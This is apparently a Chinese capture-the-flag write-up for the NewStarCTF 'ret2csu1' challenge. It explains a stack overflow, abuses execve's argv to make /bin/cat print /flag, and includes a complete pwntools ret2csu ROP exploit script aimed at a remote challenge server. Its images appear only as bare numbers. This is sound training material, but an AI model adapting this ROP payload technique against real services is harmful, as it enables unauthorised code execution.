[NewStarCTF 公开赛赛道]ret2csu1

[NewStarCTF 公开赛赛道]ret2csu1

我们先checksec一下:

1

可能是栈溢出,题目给出了源代码,我们去看看:

2

前两个rax等于1,后面的rax等于0,根据系统调用号,可以判断:

3

链接:https://blog.csdn.net/SUKI547/article/details/103315487

前两个是write函数,最后一个是read函数,前两个函数向屏幕输出两句话,最后一个 函数读入0x70向message变量中,这里message只有0x20,所以存在溢出,接下来我们看:

4

给了我们三个礼物,和一个后门函数,根据系统调用号,可知是execve函数:

5

那么就可以开shell的,但是题目中并没有开/bin/sh ,有的只是gift1和gift2[]这两个东西,如何利用呢,我们可以看看这篇文章:system和execve的那些理解 - 予柒 - 博客园 (cnblogs.com)

简单地说呢,我们的execve()函数有三个参数,我们一般执行的开shell操作,都是调用了execve(“/bin/sh”,0,0),但是呢,如果第二个参数不是0(或者说不是空),第一个参数的含义就变成一个shell脚本解析器,而第二个参数必须是:char *argv[]={“/bin/sh”,”/flag”,NULL},上面的flag(第二个参数)可以改变,第一个(必须与execve函数第一个参数相同)和第三个参数都不能变。这样就会解析flag文件,/bin/cat同理,只不过变成了读取罢了。

注:如果/flag不是shell程序,那么就会把文件内容以报错的形式输出出来,如果题目把0(标准输入)和1(标准输出)关了,还能这么拿到flag。

那么接下来就简单了,看起来用gift2和gift1就够了,我在自己的博客写过”ret2csu学习”这篇文章,不懂payload的可以去看,payload利用了ret2csu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

sh = remote("node5.buuoj.cn",26335)
#sh = process("./pwn")

gad1_address = 0x40072A
gad2_address = 0x400710
syscall_59 = 0x601068
gift_1_bin_cat = 0x4007BB
gift_2 = 0x601050

payload = "A"*(0x20 + 0x8) + p64(gad1_address) + p64(0) + p64(1) + p64(syscall_59) + p64(gift_1_bin_cat) + p64(gift_2) + p64(0) + p64(gad2_address)

sh.recvuntil("elf.Remember to check it!\n")
sh.sendline(payload)

sh.interactive()

当然gift3我们也是用上了的,被我们传到了r12里面,因为gift3记录着execve()的系统调用地址,算是绕过ohMyBackdoor函数的if判断吧:

7

8

ps:还有一点是,execve函数的第一个参数”/bin/sh”不要传入下面的地址:

9

因为这个地址记录的还是一个地址,这个地址指向”/bin/cat”字符串,我们要的是传入一个地址,这个地址里面记录的就是一个”/bin/cat”字符串,那为啥gift2可以直接传入呢,因为人家execve()函数的第二个参数就是这样要求的:

10